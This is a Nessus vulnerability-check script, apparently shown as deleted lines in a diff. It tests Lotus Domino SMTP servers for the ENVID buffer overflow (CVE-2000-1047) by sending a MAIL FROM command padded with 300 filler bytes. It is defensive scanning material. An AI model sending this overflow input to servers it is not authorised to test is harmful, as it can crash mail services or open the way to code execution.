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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- # and was modified and tested by Vanja Hrustic <vanja@relaygroup.com>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10543);
- script_bugtraq_id(1905);
- script_cve_id("CVE-2000-1047");
- script_version ("$Revision: 1.17 $");
-
-
- name["english"] = "Lotus Domino SMTP overflow";
- name["francais"] = "DΘpassement de buffer dans le serveur SMTP Domino";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "
- The remote Domino SMTP server is vulnerable to
- a buffer overflow when supplied a too long
- ENVID variable within a MAIL FROM command.
-
- An attacker may use this flaw to prevent Domino
- services from working properly, or to execute arbitrary
- code on this host.
-
- Solution : Upgrade to Lotus Notes/Domino 5.0.6
- Risk factor : High";
-
-
-
-
- desc["francais"] = "
- Le serveur SMTP Domino distant est vulnΘrable α
- un dΘpassement de buffer lorsqu'un utilisateur
- donne un argument trop long α la variable ENVID.
-
- Un pirate peut utiliser ce problΦme pour empecher
- les services domino de fonctionner, ou bien meme
- executer du code arbitraire sur cette machine.
-
- Solution : Mettez α jour votre serveur en Lotus Notes/Domino 5.0.6
- Facteur de risque : ElevΘ";
-
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Determines if the remote Domino server is vulnerable to a buffer overflow";
- summary["francais"] = "Determines if the remote Domino server is vulnerable to a buffer overflow";
-
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_ATTACK);
-
-
- script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison",
- francais:"Ce script est Copyright (C) 2000 Renaud Deraison");
- family["english"] = "SMTP problems";
- family["francais"] = "ProblΦmes SMTP";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes",
- "smtp_settings.nasl");
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- include("smtp_func.inc");
-
- port = get_kb_item("Services/smtp");
- if(!port)port = 25;
-
- if(get_port_state(port))
- {
- soc = open_sock_tcp(port);
- if(soc)
- {
- r = smtp_recv_banner(socket:soc);
- if(!r)exit(0);
-
- if("omino" >< r)
- {
- domain = get_kb_item("Settings/third_party_domain");
- req = string("HELO ", domain, "\r\n");
- send(socket:soc, data:req);
- r = recv_line(socket:soc, length:4096);
-
- req = string("MAIL FROM: <nessus@", domain, "> ENVID=", crap(300), "\r\n");
- send(socket:soc, data:req);
- r = recv_line(socket:soc, length:4096);
-
- if(ereg(pattern:"^250 ", string:r))
- security_hole(port);
- }
- close(soc);
- }
- }
-